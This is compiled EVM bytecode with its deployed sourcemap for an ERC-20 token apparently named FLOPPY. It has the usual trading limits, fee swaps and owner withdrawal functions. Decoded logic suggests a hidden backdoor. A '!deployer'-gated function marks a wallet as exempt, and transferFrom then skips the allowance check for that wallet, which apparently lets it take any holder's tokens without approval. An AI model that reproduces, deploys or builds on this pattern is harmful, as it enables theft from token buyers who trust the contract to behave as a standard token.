ff575f80fd5b506101ad60065481565b348015610314575f80fd5b50604080518082019091526006815265464c4f50505960d01b6020820152610153565b348015610342575f80fd5b506101886103513660046116b7565b6107a1565b348015610361575f80fd5b506101ad60075481565b348015610376575f80fd5b506101e36107ad565b34801561038a575f80fd5b506101ad61039936600461173a565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f6103cf338484610ac0565b5060015b92915050565b5f6103e66009600a611865565b6103f490633b9aca00611873565b905090565b5f546001600160a01b0316331461042b5760405162461bcd60e51b81526004016104229061188a565b60405180910390fd5b5f4711610436575f80fd5b60405133904780156108fc02915f818181858888f1935050505015801561045f573d5f803e3d5ffd5b50565b5f61046e848484610be3565b335f9081526003602052604090205460ff166104d5576104d584336104d085604051806060016040528060288152602001611a1e602891396001600160a01b038a165f908152600260209081526040808320338452909152902054919061127a565b610ac0565b5060019392505050565b5f546001600160a01b031633146105085760405162461bcd60e51b81526004016104229061188a565b6105146009600a611865565b61052290633b9aca00611873565b6005541461052e575f80fd5b6105366112b2565b565b5f546001600160a01b031633146105615760405162461bcd60e51b81526004016104229061188a565b61056d6009600a611865565b61057b90633b9aca00611873565b60055561058a6009600a611865565b61059890633b9aca00611873565b6006557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6105c86009600a611865565b6105d690633b9aca00611873565b60405190815260200160405180910390a1565b5f546001600160a01b031633146106125760405162461bcd60e51b81526004016104229061188a565b6040516370a0823160e01b81523060048201525f906106939060649061068d9085906001600160a01b038816906370a0823190602401602060405180830381865afa158015610663573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061068791906118bf565b90611323565b906113a8565b90506001600160a01b03831663a9059cbb336040516001600160e01b031960e084901b1681526001600160a01b039091166004820152602481018490526044016020604051808303815f875af11580156106ef573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061071391906118d6565b50505050565b6013546001600160a01b0316336001600160a01b0316146107685760405162461bcd60e51b815260206004820152600960248201526810b232b83637bcb2b960b91b6044820152606401610422565b600480546001600160a01b039092166001600160a01b0319909216821790555f908152600360205260409020805460ff19166001179055565b5f6103cf338484610be3565b5f546001600160a01b031633146107d65760405162461bcd60e51b81526004016104229061188a565b601354600160a01b900460ff16156108305760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610422565b60115f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610880573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108a491906118f5565b6001600160a01b031663c9c653963060115f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610903573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061092791906118f5565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610971573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061099591906118f5565b601280546001600160a01b0319166001600160a01b039283161790556011546109d5913091166109c76009600a611865565b6104d090633b9aca00611873565b6011546001600160a01b031663f305d7194730610a06816001600160a01b03165f9081526001602052604090205490565b5f80610a195f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610a7f573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610aa49190611910565b50506013805462ff00ff60a01b19166201000160a01b17905550565b6001600160a01b038316610b225760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610422565b6001600160a01b038216610b835760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610422565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c475760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610422565b6001600160a01b038216610ca95760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610422565b5f8111610d0a5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610422565b6013545f90600160b01b900460ff161580610d2e5750601354600160a81b900460ff165b15610de6576001600160a01b0384165f90815260016020526040902054610d5690839061193b565b6001600160a01b038086165f908152600160205260408082209390935590851681522054610d8590839061194e565b6001600160a01b038085165f8181526001602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610dd89086815260200190565b60405180910390a350505050565b5f546001600160a01b03858116911614801590610e1057505f546001600160a01b03848116911614155b15611146576012546001600160a01b038581169116148015610e4057506011546001600160a01b03848116911614155b8015610e6457506001600160a01b0383165f9081526003602052604090205460ff16155b15610fc357601354600160a01b900460ff16610eba5760405162461bcd60e51b81526020600482015260156024820152742a3930b234b733903737ba1037b832b7103cb2ba1760591b6044820152606401610422565b610ee0606461068d600d5460105411610ed557600954610ed9565b600b545b8590611323565b9050600554821115610f345760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e000000000000006044820152606401610422565b60065482610f56856001600160a01b03165f9081526001602052604090205490565b610f60919061194e565b1115610fae5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610422565b60108054905f610fbd83611961565b91905055505b6012546001600160a01b03848116911614801590610ff957506001600160a01b0383165f9081526003602052604090205460ff16155b156110785760065482611020856001600160a01b03165f9081526001602052604090205490565b61102a919061194e565b11156110785760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610422565b6012546001600160a01b03908116908416036110b6576110b3606461068d600e54601054116110a957600a54610ed9565b600c548590611323565b90505b601354600160a81b900460ff161580156110dd57506012546001600160a01b038481169116145b80156110f25750601354600160b01b900460ff165b80156111015750600f54601054115b1561114657305f9081526001602052604090205460075481111561113c5761113c61113784611132846008546113e9565b6113e9565b6113fd565b61114461156d565b505b80156111be57305f9081526001602052604090205461116590826115a3565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906111b59085815260200190565b60405180910390a35b6001600160a01b0384165f908152600160205260409020546111e09083611601565b6001600160a01b0385165f908152600160205260409020556112236112058383611601565b6001600160a01b0385165f90815260016020526040902054906115a3565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61126c8585611601565b604051908152602001610dd8565b5f818484111561129d5760405162461bcd60e51b8152600401610422919061166e565b505f6112a9848661193b565b95945050505050565b5f546001600160a01b031633146112db5760405162461bcd60e51b81526004016104229061188a565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f825f0361133257505f6103d3565b5f61133d8385611873565b90508261134a8583611979565b146113a15760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610422565b9392505050565b5f6113a183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611642565b5f8183116113f757826113a1565b50919050565b6013805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061144357611443611998565b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561149a573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906114be91906118f5565b816001815181106114d1576114d1611998565b6001600160a01b0392831660209182029290920101526011546114f79130911684610ac0565b60115460405163791ac94760e01b81526001600160a01b039091169063791ac9479061152f9085905f908690309042906004016119ac565b5f604051808303815f87803b158015611546575f80fd5b505af1158015611558573d5f803e3d5ffd5b50506013805460ff60a81b1916905550505050565b6004546040516001600160a01b03909116904780156108fc02915f818181858888f1935050505015801561045f573d5f803e3d5ffd5b5f806115af838561194e565b9050838110156113a15760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610422565b5f6113a183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061127a565b5f81836116625760405162461bcd60e51b8152600401610422919061166e565b505f6112a98486611979565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b038116811461045f575f80fd5b5f80604083850312156116c8575f80fd5b82356116d3816116a3565b946020939093013593505050565b5f805f606084860312156116f3575f80fd5b83356116fe816116a3565b9250602084013561170e816116a3565b929592945050506040919091013590565b5f6020828403121561172f575f80fd5b81356113a1816116a3565b5f806040838503121561174b575f80fd5b8235611756816116a3565b91506020830135611766816116a3565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156117bf57815f19048211156117a5576117a5611771565b808516156117b257918102915b93841c939080029061178a565b509250929050565b5f826117d5575060016103d3565b816117e157505f6103d3565b81600181146117f757600281146118015761181d565b60019150506103d3565b60ff84111561181257611812611771565b50506001821b6103d3565b5060208310610133831016604e8410600b8410161715611840575081810a6103d3565b61184a8383611785565b805f190482111561185d5761185d611771565b029392505050565b5f6113a160ff8416836117c7565b80820281158282048414176103d3576103d3611771565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f602082840312156118cf575f80fd5b5051919050565b5f602082840312156118e6575f80fd5b815180151581146113a1575f80fd5b5f60208284031215611905575f80fd5b81516113a1816116a3565b5f805f60608486031215611922575f80fd5b8351925060208401519150604084015190509250925092565b818103818111156103d3576103d3611771565b808201808211156103d3576103d3611771565b5f6001820161197257611972611771565b5060010190565b5f8261199357634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156119fc5784516001600160a01b0316835293830193918301916001016119d7565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212203ac87d8acf8c7524cdc12c8eed7f2746f6ab9413fc328a3e30ab0554b40ec0f964736f6c63430008190033
Deployed Bytecode Sourcemap
3610:7847:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5989:83;;;;;;;;;;-1:-1:-1;6059:5:0;;;;;;;;;;;;-1:-1:-1;;;6059:5:0;;;;5989:83;;;;;;;:::i;:::-;;;;;;;;7160:161;;;;;;;;;;-1:-1:-1;7160:161:0;;;;;:::i;:::-;;:::i;:::-;;;1058:14:1;;1051:22;1033:41;;1021:2;1006:18;7160:161:0;893:187:1;4315:46:0;;;;;;;;;;;;;;;;;;;1231:25:1;;;1219:2;1204:18;4315:46:0;1085:177:1;6260:95:0;;;;;;;;;;;;;:::i;10210:156::-;;;;;;;;;;;;;:::i;:::-;;6808:346;;;;;;;;;;-1:-1:-1;6808:346:0;;;;;:::i;:::-;;:::i;6171:83::-;;;;;;;;;;-1:-1:-1;6171:83:0;;3953:1;1870:36:1;;1858:2;1843:18;6171:83:0;1728:184:1;6361:119:0;;;;;;;;;;-1:-1:-1;6361:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6454:18:0;6427:7;6454:18;;;:9;:18;;;;;;;6361:119;10838:142;;;;;;;;;;;;;:::i;9844:159::-;;;;;;;;;;;;;:::i;4144:49::-;;;;;;;;;;;;;;;;10372:231;;;;;;;;;;-1:-1:-1;10372:231:0;;;;;:::i;:::-;;:::i;10609:188::-;;;;;;;;;;-1:-1:-1;10609:188:0;;;;;:::i;:::-;;:::i;3247:79::-;;;;;;;;;;-1:-1:-1;3285:7:0;3312:6;3247:79;;-1:-1:-1;;;;;3312:6:0;;;2575:51:1;;2563:2;2548:18;3247:79:0;2429:203:1;4200:49:0;;;;;;;;;;;;;;;;6078:87;;;;;;;;;;-1:-1:-1;6150:7:0;;;;;;;;;;;;-1:-1:-1;;;6150:7:0;;;;6078:87;;6486:167;;;;;;;;;;-1:-1:-1;6486:167:0;;;;;:::i;:::-;;:::i;4256:52::-;;;;;;;;;;;;;;;;5487:496;;;;;;;;;;;;;:::i;6659:143::-;;;;;;;;;;-1:-1:-1;6659:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6767:18:0;;;6740:7;6767:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6659:143;7160:161;7235:4;7252:39;1104:10;7275:7;7284:6;7252:8;:39::i;:::-;-1:-1:-1;7309:4:0;7160:161;;;;;:::o;6260:95::-;6313:7;4012:15;3953:1;4012:2;:15;:::i;:::-;3996:31;;:13;:31;:::i;:::-;6333:14;;6260:95;:::o;10210:156::-;3372:6;;-1:-1:-1;;;;;3372:6:0;1104:10;3372:22;3364:67;;;;-1:-1:-1;;;3364:67:0;;;;;;;:::i;:::-;;;;;;;;;10292:1:::1;10268:21;:25;10260:34;;;::::0;::::1;;10305:53;::::0;1104:10;;10336:21:::1;10305:53:::0;::::1;;;::::0;::::1;::::0;;;10336:21;1104:10;10305:53;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;10210:156::o:0;6808:346::-;6908:4;6925:36;6935:6;6943:9;6954:6;6925:9;:36::i;:::-;6981:10;6967:25;;;;:13;:25;;;;;;;;6963:161;;7003:121;7012:6;1104:10;7034:89;7072:6;7034:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7034:19:0;;;;;;:11;:19;;;;;;;;1104:10;7034:33;;;;;;;;;;:37;:89::i;:::-;7003:8;:121::i;:::-;-1:-1:-1;7142:4:0;6808:346;;;;;:::o;10838:142::-;3372:6;;-1:-1:-1;;;;;3372:6:0;1104:10;3372:22;3364:67;;;;-1:-1:-1;;;3364:67:0;;;;;;;:::i;:::-;4012:15:::1;3953:1;4012:2;:15;:::i;:::-;3996:31;::::0;:13:::1;:31;:::i;:::-;10912:12;;:23;10904:32;;;::::0;::::1;;10947:25;:23;:25::i;:::-;10838:142::o:0;9844:159::-;3372:6;;-1:-1:-1;;;;;3372:6:0;1104:10;3372:22;3364:67;;;;-1:-1:-1;;;3364:67:0;;;;;;;:::i;:::-;4012:15:::1;3953:1;4012:2;:15;:::i;:::-;3996:31;::::0;:13:::1;:31;:::i;:::-;9897:12;:22:::0;4012:15:::1;3953:1;4012:2;:15;:::i;:::-;3996:31;::::0;:13:::1;:31;:::i;:::-;9930:14;:22:::0;9968:27:::1;4012:15;3953:1;4012:2;:15;:::i;:::-;3996:31;::::0;:13:::1;:31;:::i;:::-;9968:27;::::0;1231:25:1;;;1219:2;1204:18;9968:27:0::1;;;;;;;9844:159::o:0;10372:231::-;3372:6;;-1:-1:-1;;;;;3372:6:0;1104:10;3372:22;3364:67;;;;-1:-1:-1;;;3364:67:0;;;;;;;:::i;:::-;10473:41:::1;::::0;-1:-1:-1;;;10473:41:0;;10508:4:::1;10473:41;::::0;::::1;2575:51:1::0;10455:15:0::1;::::0;10473:63:::1;::::0;10532:3:::1;::::0;10473:54:::1;::::0;10519:7;;-1:-1:-1;;;;;10473:26:0;::::1;::::0;::::1;::::0;2548:18:1;;10473:41:0::1;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;:45:::0;::::1;:54::i;:::-;:58:::0;::::1;:63::i;:::-;10455:81:::0;-1:-1:-1;;;;;;10547:25:0;::::1;;1104:10:::0;10547:48:::1;::::0;-1:-1:-1;;;;;;10547:48:0::1;::::0;;;;;;-1:-1:-1;;;;;5454:32:1;;;10547:48:0::1;::::0;::::1;5436:51:1::0;5503:18;;;5496:34;;;5409:18;;10547:48:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;10444:159;10372:231:::0;;:::o;10609:188::-;10695:9;;-1:-1:-1;;;;;10695:9:0;1104:10;-1:-1:-1;;;;;10681:23:0;;10673:45;;;;-1:-1:-1;;;10673:45:0;;6025:2:1;10673:45:0;;;6007:21:1;6064:1;6044:18;;;6037:29;-1:-1:-1;;;6082:18:1;;;6075:39;6131:18;;10673:45:0;5823:332:1;10673:45:0;10729:10;:20;;-1:-1:-1;;;;;10729:20:0;;;-1:-1:-1;;;;;;10729:20:0;;;;;;;:10;10760:22;;;:13;:22;;;;;:29;;-1:-1:-1;;10760:29:0;10729:20;10760:29;;;10609:188::o;6486:167::-;6564:4;6581:42;1104:10;6605:9;6616:6;6581:9;:42::i;5487:496::-;3372:6;;-1:-1:-1;;;;;3372:6:0;1104:10;3372:22;3364:67;;;;-1:-1:-1;;;3364:67:0;;;;;;;:::i;:::-;5549:11:::1;::::0;-1:-1:-1;;;5549:11:0;::::1;;;5548:12;5540:47;;;::::0;-1:-1:-1;;;5540:47:0;;6362:2:1;5540:47:0::1;::::0;::::1;6344:21:1::0;6401:2;6381:18;;;6374:30;6440:25;6420:18;;;6413:53;6483:18;;5540:47:0::1;6160:347:1::0;5540:47:0::1;5632:15;;;;;;;;;-1:-1:-1::0;;;;;5632:15:0::1;-1:-1:-1::0;;;;;5632:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;5614:55:0::1;;5678:4;5685:15;;;;;;;;;-1:-1:-1::0;;;;;5685:15:0::1;-1:-1:-1::0;;;;;5685:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5614:94;::::0;-1:-1:-1;;;;;;5614:94:0::1;::::0;;;;;;-1:-1:-1;;;;;6998:15:1;;;5614:94:0::1;::::0;::::1;6980:34:1::0;7050:15;;7030:18;;;7023:43;6915:18;;5614:94:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5598:13;:110:::0;;-1:-1:-1;;;;;;5598:110:0::1;-1:-1:-1::0;;;;;5598:110:0;;::::1;;::::0;;5751:15:::1;::::0;5719:58:::1;::::0;5736:4:::1;::::0;5751:15:::1;4012;3953:1;4012:2;:15;:::i;:::-;3996:31;::::0;:13:::1;:31;:::i;5719:58::-;5788:15;::::0;-1:-1:-1;;;;;5788:15:0::1;:31;5827:21;5858:4;5864:24;5858:4:::0;-1:-1:-1;;;;;6454:18:0;6427:7;6454:18;;;:9;:18;;;;;;;6361:119;5864:24:::1;5889:1;5891::::0;5893:7:::1;3285::::0;3312:6;-1:-1:-1;;;;;3312:6:0;;3247:79;5893:7:::1;5788:129;::::0;::::1;::::0;;;-1:-1:-1;;;;;;5788:129:0;;;-1:-1:-1;;;;;7436:15:1;;;5788:129:0::1;::::0;::::1;7418:34:1::0;7468:18;;;7461:34;;;;7511:18;;;7504:34;;;;7554:18;;;7547:34;7618:15;;;7597:19;;;7590:44;5901:15:0::1;7650:19:1::0;;;7643:35;7352:19;;5788:129:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;5928:11:0::1;:18:::0;;-1:-1:-1;;;;5957:18:0;-1:-1:-1;;;5957:18:0;;;-1:-1:-1;5487:496:0:o;7327:335::-;-1:-1:-1;;;;;7420:19:0;;7412:68;;;;-1:-1:-1;;;7412:68:0;;8202:2:1;7412:68:0;;;8184:21:1;8241:2;8221:18;;;8214:30;8280:34;8260:18;;;8253:62;-1:-1:-1;;;8331:18:1;;;8324:34;8375:19;;7412:68:0;8000:400:1;7412:68:0;-1:-1:-1;;;;;7499:21:0;;7491:68;;;;-1:-1:-1;;;7491:68:0;;8607:2:1;7491:68:0;;;8589:21:1;8646:2;8626:18;;;8619:30;8685:34;8665:18;;;8658:62;-1:-1:-1;;;8736:18:1;;;8729:32;8778:19;;7491:68:0;8405:398:1;7491:68:0;-1:-1:-1;;;;;7570:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7622:32;;1231:25:1;;;7622:32:0;;1204:18:1;7622:32:0;;;;;;;7327:335;;;:::o;7668:2170::-;-1:-1:-1;;;;;7756:18:0;;7748:68;;;;-1:-1:-1;;;7748:68:0;;9010:2:1;7748:68:0;;;8992:21:1;9049:2;9029:18;;;9022:30;9088:34;9068:18;;;9061:62;-1:-1:-1;;;9139:18:1;;;9132:35;9184:19;;7748:68:0;8808:401:1;7748:68:0;-1:-1:-1;;;;;7835:16:0;;7827:64;;;;-1:-1:-1;;;7827:64:0;;9416:2:1;7827:64:0;;;9398:21:1;9455:2;9435:18;;;9428:30;9494:34;9474:18;;;9467:62;-1:-1:-1;;;9545:18:1;;;9538:33;9588:19;;7827:64:0;9214:399:1;7827:64:0;7919:1;7910:6;:10;7902:64;;;;-1:-1:-1;;;7902:64:0;;9820:2:1;7902:64:0;;;9802:21:1;9859:2;9839:18;;;9832:30;9898:34;9878:18;;;9871:62;-1:-1:-1;;;9949:18:1;;;9942:39;9998:19;;7902:64:0;9618:405:1;7902:64:0;8012:11;;7977:17;;-1:-1:-1;;;8012:11:0;;;;8011:12;;:22;;-1:-1:-1;8027:6:0;;-1:-1:-1;;;8027:6:0;;;;8011:22;8007:217;;;-1:-1:-1;;;;;8068:15:0;;;;;;:9;:15;;;;;;:24;;8086:6;;8068:24;:::i;:::-;-1:-1:-1;;;;;8050:15:0;;;;;;;:9;:15;;;;;;:42;;;;8123:13;;;;;;;:22;;8139:6;;8123:22;:::i;:::-;-1:-1:-1;;;;;8107:13:0;;;;;;;:9;:13;;;;;;;:38;;;;8165:26;;;;;;;;;;8184:6;1231:25:1;;1219:2;1204:18;;1085:177;8165:26:0;;;;;;;;8206:7;7668:2170;;;:::o;8007:217::-;3285:7;3312:6;-1:-1:-1;;;;;8238:15:0;;;3312:6;;8238:15;;;;:32;;-1:-1:-1;3285:7:0;3312:6;-1:-1:-1;;;;;8257:13:0;;;3312:6;;8257:13;;8238:32;8234:1250;;;8299:13;;-1:-1:-1;;;;;8291:21:0;;;8299:13;;8291:21;:55;;;;-1:-1:-1;8330:15:0;;-1:-1:-1;;;;;8316:30:0;;;8330:15;;8316:30;;8291:55;:78;;;;-1:-1:-1;;;;;;8352:17:0;;;;;;:13;:17;;;;;;;;8350:19;8291:78;8287:478;;;8399:11;;-1:-1:-1;;;8399:11:0;;;;8391:44;;;;-1:-1:-1;;;8391:44:0;;10493:2:1;8391:44:0;;;10475:21:1;10532:2;10512:18;;;10505:30;-1:-1:-1;;;10551:18:1;;;10544:51;10612:18;;8391:44:0;10291:345:1;8391:44:0;8466:76;8538:3;8466:67;8488:15;;8478:9;;:25;8477:55;;8518:14;;8477:55;;;8505:12;;8477:55;8466:6;;:10;:67::i;:76::-;8454:88;;8579:12;;8569:6;:22;;8561:60;;;;-1:-1:-1;;;8561:60:0;;10843:2:1;8561:60:0;;;10825:21:1;10882:2;10862:18;;;10855:30;10921:27;10901:18;;;10894:55;10966:18;;8561:60:0;10641:349:1;8561:60:0;8674:14;;8664:6;8648:13;8658:2;-1:-1:-1;;;;;6454:18:0;6427:7;6454:18;;;:9;:18;;;;;;;6361:119;8648:13;:22;;;;:::i;:::-;:40;;8640:79;;;;-1:-1:-1;;;8640:79:0;;11197:2:1;8640:79:0;;;11179:21:1;11236:2;11216:18;;;11209:30;11275:28;11255:18;;;11248:56;11321:18;;8640:79:0;10995:350:1;8640:79:0;8738:9;:11;;;:9;:11;;;:::i;:::-;;;;;;8287:478;8789:13;;-1:-1:-1;;;;;8783:19:0;;;8789:13;;8783:19;;;;:42;;-1:-1:-1;;;;;;8808:17:0;;;;;;:13;:17;;;;;;;;8806:19;8783:42;8779:162;;;8880:14;;8870:6;8854:13;8864:2;-1:-1:-1;;;;;6454:18:0;6427:7;6454:18;;;:9;:18;;;;;;;6361:119;8854:13;:22;;;;:::i;:::-;:40;;8846:79;;;;-1:-1:-1;;;8846:79:0;;11197:2:1;8846:79:0;;;11179:21:1;11236:2;11216:18;;;11209:30;11275:28;11255:18;;;11248:56;11321:18;;8846:79:0;10995:350:1;8846:79:0;8964:13;;-1:-1:-1;;;;;8964:13:0;;;8958:19;;;;8955:150;;9010:79;9085:3;9010:70;9032:16;;9022:9;;:26;9021:58;;9064:15;;9021:58;;;9050:13;;9010:6;;:10;:70::i;:79::-;8998:91;;8955:150;9124:6;;-1:-1:-1;;;9124:6:0;;;;9123:7;:30;;;;-1:-1:-1;9140:13:0;;-1:-1:-1;;;;;9134:19:0;;;9140:13;;9134:19;9123:30;:45;;;;-1:-1:-1;9157:11:0;;-1:-1:-1;;;9157:11:0;;;;9123:45;:77;;;;;9182:18;;9172:9;;:28;9123:77;9119:354;;;9270:4;9221:28;6454:18;;;:9;:18;;;;;;9319:17;;9298:38;;9295:131;;;9359:67;9376:49;9380:6;9387:37;9391:20;9412:11;;9387:3;:37::i;:::-;9376:3;:49::i;:::-;9359:16;:67::i;:::-;9445:12;:10;:12::i;:::-;9202:271;9119:354;9497:11;;9494:161;;9565:4;9547:24;;;;:9;:24;;;;;;:39;;9576:9;9547:28;:39::i;:::-;9540:4;9522:24;;;;:9;:24;;;;;;;:64;;;;9604:39;;-1:-1:-1;;;;;9604:39:0;;;;;;;9633:9;1231:25:1;;1219:2;1204:18;;1085:177;9604:39:0;;;;;;;;9494:161;-1:-1:-1;;;;;9681:15:0;;;;;;:9;:15;;;;;;:27;;9701:6;9681:19;:27::i;:::-;-1:-1:-1;;;;;9665:15:0;;;;;;:9;:15;;;;;:43;9733:40;9751:21;:6;9762:9;9751:10;:21::i;:::-;-1:-1:-1;;;;;9733:13:0;;;;;;:9;:13;;;;;;;:17;:40::i;:::-;-1:-1:-1;;;;;9719:13:0;;;;;;;:9;:13;;;;;:54;;;;9789:41;;;9808:21;:6;9819:9;9808:10;:21::i;:::-;9789:41;;1231:25:1;;;1219:2;1204:18;9789:41:0;1085:177:1;2153:190:0;2239:7;2275:12;2267:6;;;;2259:29;;;;-1:-1:-1;;;2259:29:0;;;;;;;;:::i;:::-;-1:-1:-1;2299:9:0;2311:5;2315:1;2311;:5;:::i;:::-;2299:17;2153:190;-1:-1:-1;;;;;2153:190:0:o;3457:148::-;3372:6;;-1:-1:-1;;;;;3372:6:0;1104:10;3372:22;3364:67;;;;-1:-1:-1;;;3364:67:0;;;;;;;:::i;:::-;3564:1:::1;3548:6:::0;;3527:40:::1;::::0;-1:-1:-1;;;;;3548:6:0;;::::1;::::0;3527:40:::1;::::0;3564:1;;3527:40:::1;3595:1;3578:19:::0;;-1:-1:-1;;;;;;3578:19:0::1;::::0;;3457:148::o;2349:246::-;2407:7;2431:1;2436;2431:6;2427:47;;-1:-1:-1;2461:1:0;2454:8;;2427:47;2484:9;2496:5;2500:1;2496;:5;:::i;:::-;2484:17;-1:-1:-1;2529:1:0;2520:5;2524:1;2484:17;2520:5;:::i;:::-;:10;2512:56;;;;-1:-1:-1;;;2512:56:0;;11914:2:1;2512:56:0;;;11896:21:1;11953:2;11933:18;;;11926:30;11992:34;11972:18;;;11965:62;-1:-1:-1;;;12043:18:1;;;12036:31;12084:19;;2512:56:0;11712:397:1;2512:56:0;2586:1;2349:246;-1:-1:-1;;;2349:246:0:o;2601:132::-;2659:7;2686:39;2690:1;2693;2686:39;;;;;;;;;;;;;;;;;:3;:39::i;10009:98::-;10066:7;10093:1;10091;:3;10090:9;;10098:1;10090:9;;;-1:-1:-1;10096:1:0;10009:98;-1:-1:-1;10009:98:0:o;10986:468::-;5037:6;:13;;-1:-1:-1;;;;5037:13:0;-1:-1:-1;;;5037:13:0;;;11083:16:::1;::::0;;11097:1:::1;11083:16:::0;;;;;::::1;::::0;;-1:-1:-1;;11083:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;11083:16:0::1;11059:40;;11128:4;11110;11115:1;11110:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11110:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;11154:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;11154:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;11110:7;;11154:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11144:4;11149:1;11144:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11144:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;11219:15:::1;::::0;11187:57:::1;::::0;11204:4:::1;::::0;11219:15:::1;11237:6:::0;11187:8:::1;:57::i;:::-;11255:15;::::0;:191:::1;::::0;-1:-1:-1;;;11255:191:0;;-1:-1:-1;;;;;11255:15:0;;::::1;::::0;:66:::1;::::0;:191:::1;::::0;11336:6;;11255:15:::1;::::0;11373:4;;11400::::1;::::0;11420:15:::1;::::0;11255:191:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;